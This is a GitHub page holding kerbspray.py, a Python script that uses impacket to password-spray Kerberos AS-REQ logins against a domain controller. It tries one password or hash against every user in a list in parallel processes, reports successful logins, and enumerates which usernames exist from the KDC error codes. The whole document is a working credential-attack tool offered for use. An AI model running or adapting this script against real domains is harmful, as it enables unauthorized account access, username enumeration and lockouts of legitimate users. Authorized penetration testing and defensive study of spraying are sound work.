-
Notifications
You must be signed in to change notification settings - Fork 10
/
kerbspray.py
109 lines (88 loc) · 3.81 KB
/
kerbspray.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/python3
from __future__ import division
from __future__ import print_function
import argparse
import sys
from binascii import unhexlify
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
from impacket.krb5 import constants
from impacket.krb5.types import Principal
import multiprocessing
import socket
def login(username, password, domain, lmhash, nthash, aesKey, dc_ip):
try:
kerb_principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
getKerberosTGT(kerb_principal, password, domain,
unhexlify(lmhash), unhexlify(nthash), aesKey, dc_ip)
print('[+]Success %s/%s' % (domain, username) )
except KerberosError as e:
if (e.getErrorCode() == constants.ErrorCodes.KDC_ERR_C_PRINCIPAL_UNKNOWN.value) or (e.getErrorCode() == constants.ErrorCodes.KDC_ERR_CLIENT_REVOKED.value) or (e.getErrorCode() == constants.ErrorCodes.KDC_ERR_WRONG_REALM.value):
print("[-]Could not find username: %s/%s" % (domain, username) )
elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_PREAUTH_FAILED.value:
return
else:
print(e)
except socket.error as e:
print('[-]Could not connect to DC')
return
def main():
parser = argparse.ArgumentParser(add_help = True, description = "Kerberos AS-REQ Spraying Toolkit")
group = parser.add_argument_group('authentication')
group.add_argument('-userlist', action='store', metavar = "userlist", help='List of users to spray, format is [[domain/]username')
group.add_argument('-password', action="store", metavar = "password", help='Clear-text password')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group = parser.add_argument_group('connection')
group.add_argument('-domain', action='store', metavar="domain",
help='FQDN of the target domain')
group.add_argument('-dc-ip', action='store', metavar="ip address",
help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
'the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.password is None and options.hashes is None and options.aesKey is None:
parser.print_help()
sys.exit(1)
if options.userlist is None:
parser.print_help()
sys.exit(1)
if options.dc_ip is None:
parser.print_help()
sys.exit(1)
if options.domain is None:
parser.print_help()
sys.exit(1)
if options.aesKey is not None:
options.k = True
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
if options.password is None:
password = ''
else:
password = options.password
#threading
jobs = []
with open(options.userlist, 'r') as users:
for _user in users.readlines():
domain = options.domain
try:
domain, user = _user.split("/")
except:
user = _user
process = multiprocessing.Process(target=login,
args=(user.strip(), password, domain, lmhash, nthash, options.aesKey, options.dc_ip))
jobs.append(process)
# Start the processes
for j in jobs:
j.start()
# Ensure all of the processes have finished
for j in jobs:
j.join()
if __name__ == "__main__":
main()